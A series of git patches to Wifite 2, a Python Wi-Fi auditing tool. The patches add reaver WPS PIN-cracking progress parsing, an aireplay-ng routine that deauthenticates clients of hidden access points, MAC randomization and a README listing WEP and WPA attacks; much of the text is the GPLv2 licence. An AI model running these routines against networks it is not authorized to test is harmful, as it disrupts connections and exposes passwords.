just one) + Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') + break + + match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) + if match: + eta = match.groups()[0] + state = '{C}cracking, ETA: {G}%s{W}' % eta + + match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) + if match: + eta = match.groups()[0] + state = '{C}cracking, ETA: {G}%s{W}' % eta + pins_left = int(match.groups()[1]) + + # Divine pin_current & pin_total from this: + pin_current = 11000 - pins_left + + # Check if process is still running + if reaver.pid.poll() != None: + Color.pl('{R}failed{W}') + Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') + self.success = False + break + + # Output the current state + Color.p(state) + + ''' + [+] Waiting for beacon from AA:BB:CC:DD:EE:FF + [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: ) + [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 + [+] Trying pin 12345670. + [+] Pin count advanced: 46. Max pin attempts: 11000 + [!] WPS transaction failed (code: 0x02), re-trying last pin + [!] WPS transaction failed (code: 0x03), re-trying last pin + [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) + [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking + [!] WARNING: 25 successive start failures + [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) + [+] 0.55% complete. Elapsed time: 0d0h2m21s. + [+] Estimated Remaining time: 0d15h11m35s + + [+] Pin cracked in 7 seconds + [+] WPS PIN: '12345678' + [+] WPA PSK: 'abcdefgh' + [+] AP SSID: 'Test Router' + + Reaver 1.4: + [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) + [!] WARNING: Receive timeout occurred + + ''' reaver.interrupt() From 02df6ed084ef7ffede34ee140318564e1f591673 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 15:36:30 -0400 Subject: [PATCH 07/16] Minor reformatting --- py/AttackWPS.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/py/AttackWPS.py b/py/AttackWPS.py index c4272e6..8c37c91 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -38,7 +38,7 @@ class AttackWPS(Attack): ' support the {O}WPS pixie-dust attack{W}') if Configuration.pixie_only: - Color.pl('{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}') + Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}') self.success = False else: # Run WPS-PIN attack @@ -72,7 +72,7 @@ class AttackWPS(Attack): reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None - step = '0) initializing' + step = 'initializing' time_since_last_step = 0 with Airodump(channel=self.target.channel, @@ -232,7 +232,7 @@ class AttackWPS(Attack): Color.clear_line() status = '{G}%.2f%% done{W}, ' % percent status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) - status += '{R}%d/%d failures{W}) ' % (failures, Configuration.wps_fail_threshold) + status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold) Color.pattack("WPS", airodump_target, "PIN Attack", status) if failures >= Configuration.wps_fail_threshold: From ecfeeaae415f38741d93d01a54581c133cb114cc Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 17:26:13 -0400 Subject: [PATCH 08/16] Decloak hidden APs when channel is fixed --- py/Aireplay.py | 4 ++-- py/Airodump.py | 50 ++++++++++++++++++++++++++++++++++++++++++++++++- py/AttackWPA.py | 2 +- py/AttackWPS.py | 2 +- py/Color.py | 6 ++++++ py/Scanner.py | 27 +++++++++++++++++++++----- 6 files changed, 81 insertions(+), 10 deletions(-) diff --git a/py/Aireplay.py b/py/Aireplay.py index b1fdda0..b955d4b 100644 --- a/py/Aireplay.py +++ b/py/Aireplay.py @@ -108,7 +108,7 @@ class Aireplay(object): Configuration.initialize() if Configuration.interface == None: raise Exception("Wireless interface must be defined (-i)") - + cmd = ['aireplay-ng'] cmd.append('--ignore-negative-one') @@ -231,7 +231,7 @@ class Aireplay(object): if __name__ == '__main__': t = WEPAttackType(4) - print t.name, type(t.name), t.value + print t.name, type(t.name), t.value t = WEPAttackType('caffelatte') print t.name, type(t.name), t.value diff --git a/py/Airodump.py b/py/Airodump.py index d2a8205..fd39eb0 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -7,7 +7,7 @@ from Target import Target from Client import Client from Wash import Wash -import os +import os, time class Airodump(object): ''' Wrapper around airodump-ng program ''' @@ -42,6 +42,11 @@ class Airodump(object): self.ivs_only = ivs_only self.skip_wash = skip_wash + # For tracking decloaked APs (previously were hidden) + self.decloaking = False + self.decloaked_targets = [] + self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth + def __enter__(self): ''' @@ -146,7 +151,15 @@ class Airodump(object): # Sort by power targets.sort(key=lambda x: x.power, reverse=True) + for old_target in self.targets: + for new_target in targets: + if old_target.bssid != new_target.bssid: continue + if new_target.essid_known and not old_target.essid_known: + # We decloaked a target! + self.decloaked_targets.append(new_target) + self.targets = targets + self.deauth_hidden_targets() return self.targets @@ -240,6 +253,41 @@ class Airodump(object): i += 1 return result + def deauth_hidden_targets(self): + ''' + Sends deauths (to broadcast and to each client) for all + targets (APs) that have unknown ESSIDs (hidden router names). + ''' + self.decloaking = False + # Only deauth if channel is fixed. + if self.channel is None: return + + # Reusable deauth command + deauth_cmd = [ + 'aireplay-ng', + '-0', # Deauthentication + '1', # Number of deauths to perform. + '--ignore-negative-one' + ] + for target in self.targets: + if target.essid_known: continue + now = int(time.time()) + secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0) + # Decloak every AP once every 30 seconds + if secs_since_decloak < 30: continue + self.decloaking = True + self.decloaked_times[target.bssid] = now + if Configuration.verbose > 1: + from Color import Color + verbout = " [?] Deauthing %s" % target.bssid + verbout += " (broadcast & %d clients)" % len(target.clients) + Color.pe("\n{C}" + verbout + "{W}") + # Deauth broadcast + iface = Configuration.interface + Process(deauth_cmd + ['-a', target.bssid, iface]) + # Deauth clients + for client in target.clients: + Process(deauth_cmd + ['-c', client.bssid, iface]) if __name__ == '__main__': ''' Example usage. wlan0mon should be in Monitor Mode ''' diff --git a/py/AttackWPA.py b/py/AttackWPA.py index 52256e6..d59239a 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -36,7 +36,7 @@ class AttackWPA(Attack): target_bssid=self.target.bssid, output_file_prefix='wpa') as airodump: - Color.clear_line() + Color.clear_entire_line() Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") airodump_target = self.wait_for_target(airodump) diff --git a/py/AttackWPS.py b/py/AttackWPS.py index 8c37c91..dcc15f0 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -302,7 +302,7 @@ class AttackWPS(Attack): state = '{R}rate-limited{W}' if Configuration.wps_skip_rate_limit: Color.pl(state) - Color.pl('{!} {R}hit rate limit, stopping{W}\n') + Color.pl('{!} {R}hit rate limit, stopping{W}') Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break diff --git a/py/Color.py b/py/Color.py index 9331389..2ea7b06 100644 --- a/py/Color.py +++ b/py/Color.py @@ -74,6 +74,12 @@ class Color(object): sys.stdout.flush() Color.last_sameline_length = 0 + @staticmethod + def clear_entire_line(): + import os + (rows, columns) = os.popen('stty size', 'r').read().split() + Color.p("\r" + (" " * int(columns)) + "\r") + @staticmethod def pattack(attack_type, target, attack_name, progress): ''' diff --git a/py/Scanner.py b/py/Scanner.py index 6543a05..79d4b73 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -49,11 +49,20 @@ class Scanner(object): client_count = sum( [len(t.clients) for t in self.targets]) - Color.p( - '\r{+} scanning, found' + - ' {G}%d{W} target(s),' % target_count + - ' {G}%d{W} client(s).' % client_count + - ' {O}Ctrl+C{W} when ready') + outline = "\r{+} Scanning" + if airodump.decloaking: + outline += " & decloaking" + outline += ". Found" + outline += " {G}%d{W} target(s)," % target_count + outline += " {G}%d{W} client(s)." % client_count + outline += " {O}Ctrl+C{W} when ready " + decloaked = airodump.decloaked_targets + if len(decloaked) > 0: + outline += "(decloaked" + outline += " {C}%d{W} ESSIDs:" % len(decloaked) + outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked]) + Color.clear_entire_line() + Color.p(outline) sleep(1) except KeyboardInterrupt: pass @@ -118,6 +127,7 @@ class Scanner(object): Target.print_header() for (index, target) in enumerate(self.targets): index += 1 + Color.clear_entire_line() Color.pl(' {G}%s %s' % (str(index).rjust(3), target)) @staticmethod @@ -126,6 +136,12 @@ class Scanner(object): (rows, columns) = os.popen('stty size', 'r').read().split() return int(rows) + @staticmethod + def get_terminal_width(): + import os + (rows, columns) = os.popen('stty size', 'r').read().split() + return int(columns) + def select_targets(self): ''' Asks user to select target(s) ''' @@ -139,6 +155,7 @@ class Scanner(object): + " or you may have issues with your wifi card") self.print_targets() + Color.clear_entire_line() input_str = '{+} select target(s)' input_str += ' ({G}1-%d{W})' % len(self.targets) input_str += ' separated by commas, dashes' From 2a5258ceefcb5da939edd30e89563ef83c4aa698 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 17:42:52 -0400 Subject: [PATCH 09/16] Fixing unit tests --- py/Configuration.py | 1 + py/tests/test_Handshake.py | 3 +-- py/tests/test_Target.py | 2 +- runtests.sh | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/py/Configuration.py b/py/Configuration.py index 93ff2c2..a26fa21 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -7,6 +7,7 @@ import os class Configuration(object): ''' Stores configuration variables and functions for Wifite. ''' + verbose = 0 initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory diff --git a/py/tests/test_Handshake.py b/py/tests/test_Handshake.py index 21fefc7..b0ac1c9 100644 --- a/py/tests/test_Handshake.py +++ b/py/tests/test_Handshake.py @@ -4,7 +4,7 @@ import sys sys.path.insert(0, '..') -from Handshake import Handshake +from py.Handshake import Handshake import unittest @@ -20,7 +20,6 @@ class TestHandshake(unittest.TestCase): def testAnalyze(self): hs_file = self.getFile('handshake_exists.cap') - print hs_file hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') try: hs.analyze() diff --git a/py/tests/test_Target.py b/py/tests/test_Target.py index c092d1c..d16f1d9 100644 --- a/py/tests/test_Target.py +++ b/py/tests/test_Target.py @@ -1,7 +1,7 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from Airodump import Airodump +from py.Airodump import Airodump import unittest diff --git a/runtests.sh b/runtests.sh index 3e6f1e3..da9b3ed 100755 --- a/runtests.sh +++ b/runtests.sh @@ -1,2 +1,2 @@ #!/bin/sh -python2.7 -m unittest discover py +python2.7 -m unittest discover py/tests -v From 250e89b21ef319bf00751d275b2d3068df656400 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 19:03:13 -0400 Subject: [PATCH 10/16] --5ghz scans *only* 5ghz networks (not 2ghz) Also fixed ugly output when waiting for handshakes --- py/Airodump.py | 2 +- py/AttackWPA.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/py/Airodump.py b/py/Airodump.py index fd39eb0..277742f 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -69,7 +69,7 @@ class Airodump(object): if self.channel: command.extend(['-c', str(self.channel)]) elif self.five_ghz: - command.extend(['--band', 'abg']) + command.extend(['--band', 'a']) if self.encryption: command.extend(['--enc', self.encryption]) diff --git a/py/AttackWPA.py b/py/AttackWPA.py index d59239a..98b3902 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -53,7 +53,7 @@ class AttackWPA(Attack): while True: if not deauth_proc or deauth_proc.poll() != None: # Clear line only if we're not deauthing right now - Color.clear_line() + Color.clear_entire_line() Color.pattack("WPA", airodump_target, "Handshake capture", "Waiting for handshake...") #Color.p('\r{+} {C}WPA-handshake attack{W}: ') #Color.p('waiting for {C}handshake{W}...') @@ -96,7 +96,7 @@ class AttackWPA(Attack): airodump_target = self.wait_for_target(airodump) for client in airodump_target.clients: if client.station not in clients: - Color.clear_line() + Color.clear_entire_line() Color.pl('\r{+} discovered new {G}client{W}: {C}%s{W}' % client.station) clients.append(client.station) From baf3ae8711b34fb2862ea9c0f1f99a16ff3b7cf4 Mon Sep 17 00:00:00 2001 From: derv Date: Fri, 26 May 2017 23:54:56 -0700 Subject: [PATCH 11/16] Create README.md --- README.md | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..ee199a8 --- /dev/null +++ b/README.md @@ -0,0 +1,35 @@ +Wifite 2 +======== +A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks. + +What's new? +----------- +* Cleaner process management -- No longer leaves processes running in the background. +* UX: Target access points are refreshed every second instead of every 5 seconds. +* UX: Displays realtime Power level (in db) of currently-attacked target + +What's not new? +--------------- +* Backwards compatibility with the original `wifite`'s arguments. +* Same text-based interface everyone knows and loves. + +Full Feature List +----------------- +* Reaver Pixie-Dust attack (`--pixie`) +* Reaver WPS PIN attack (`--reaver`) +* WPA handshake capture (`--no-reaver`) +* Various WEP attacks (replay, chopchop, fragment, etc) +* 5Ghz support for wireless cards that support 5ghz (use `-5` option) +* Stores cracked passwords and handshakes to the current directory, with metadata about the access point. + +Support +------- +Wifite2 is designed entirely for the latest version of Kali Rolling release (tested on Kali 2016.2, updated May 2017). + +This means only the latest versions of these programs are supported: Aircrack-ng suite, wash, reaver, tshark, cowpatty. + +Other pen-testing distributions (such as BackBox) have outdated versions of these suites; these distributions are not supported. + +Screenshots +----------- +TBD From 480bac5aa96ee0831da380878cae1601b491cd3e Mon Sep 17 00:00:00 2001 From: derv Date: Fri, 26 May 2017 23:58:20 -0700 Subject: [PATCH 12/16] Create LICENSE --- LICENSE | 339 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 339 insertions(+) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..23cb790 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. From 598211fdd90c3fddbc0425540045c48131fb78c8 Mon Sep 17 00:00:00 2001 From: derv Date: Sat, 27 May 2017 00:05:20 -0700 Subject: [PATCH 13/16] Adding screenshots to README --- README.md | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ee199a8..5b23a68 100644 --- a/README.md +++ b/README.md @@ -32,4 +32,16 @@ Other pen-testing distributions (such as BackBox) have outdated versions of thes Screenshots ----------- -TBD + +Decloaking a hidden access point: +![Decloaking a hidden access point](http://i.imgur.com/FkV87LZ.gif) + +------------- + +Decloaking & Cracking a hidden access point: +![Decloaking and Cracking a hidden access point](http://i.imgur.com/MTMwSzM.gif) + +------------- + +Cracking a weak WEP password: +![Cracking a weak WEP password](http://i.imgur.com/VIeltx9.gif) From 8460d5e78dce6ecc297aa7ba700f4e562a92f7bc Mon Sep 17 00:00:00 2001 From: derv Date: Sat, 27 May 2017 00:06:36 -0700 Subject: [PATCH 14/16] Update README.md --- README.md | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 5b23a68..63d0b2a 100644 --- a/README.md +++ b/README.md @@ -33,15 +33,10 @@ Other pen-testing distributions (such as BackBox) have outdated versions of thes Screenshots ----------- -Decloaking a hidden access point: -![Decloaking a hidden access point](http://i.imgur.com/FkV87LZ.gif) - -------------- - -Decloaking & Cracking a hidden access point: +Decloaking & cracking a hidden access point (via the WPA Handshake attack): ![Decloaking and Cracking a hidden access point](http://i.imgur.com/MTMwSzM.gif) ------------- -Cracking a weak WEP password: +Cracking a weak WEP password (using the WEP Replay attack): ![Cracking a weak WEP password](http://i.imgur.com/VIeltx9.gif) From 0a6e0d8ee7fc98b867d582afbdc45910cd01cb23 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 20:25:30 -0400 Subject: [PATCH 15/16] -mac option to randomize mac before attack Resets mac back after attack using macchanger's -p option. Requested in #2 --- py/Arguments.py | 5 +++ py/Configuration.py | 8 +++++ py/Macchanger.py | 82 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 95 insertions(+) create mode 100644 py/Macchanger.py diff --git a/py/Arguments.py b/py/Arguments.py index e2ff886..cb4deae 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -30,6 +30,11 @@ class Arguments(object): type=int, help=Color.s('Wireless channel to scan (default: {G}all channels{W})')) glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int) + glob.add_argument('-mac', + '---random-mac', + action='store_true', + dest='random_mac', + help=Color.s('Randomize wireless card MAC address (default: {G}off{W})')) glob.add_argument('-5', '--5ghz', action='store_true', diff --git a/py/Configuration.py b/py/Configuration.py index a26fa21..c6b6125 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- from Color import Color +from Macchanger import Macchanger import os @@ -34,6 +35,7 @@ class Configuration(object): Configuration.target_bssid = None # User-defined AP BSSID Configuration.five_ghz = False # Scan 5Ghz channels Configuration.pillage = False # "All" mode to attack everything + Configuration.random_mac = False Configuration.encryption_filter = ['WEP', 'WPA', 'WPS'] @@ -98,6 +100,8 @@ class Configuration(object): # Interface wasn't defined, select it! from Airmon import Airmon Configuration.interface = Airmon.ask() + if Configuration.random_mac: + Macchanger.random() @staticmethod @@ -106,6 +110,9 @@ class Configuration(object): from Arguments import Arguments args = Arguments(Configuration).args + if args.random_mac: + Configuration.random_mac = True + Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking') if args.channel: Configuration.target_channel = args.channel Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel) @@ -278,6 +285,7 @@ class Configuration(object): def exit_gracefully(code=0): ''' Deletes temp and exist with the given code ''' Configuration.delete_temp() + Macchanger.reset_if_changed() exit(code) @staticmethod diff --git a/py/Macchanger.py b/py/Macchanger.py new file mode 100644 index 0000000..5876bdc --- /dev/null +++ b/py/Macchanger.py @@ -0,0 +1,82 @@ +#!/usr/bin/python2.7 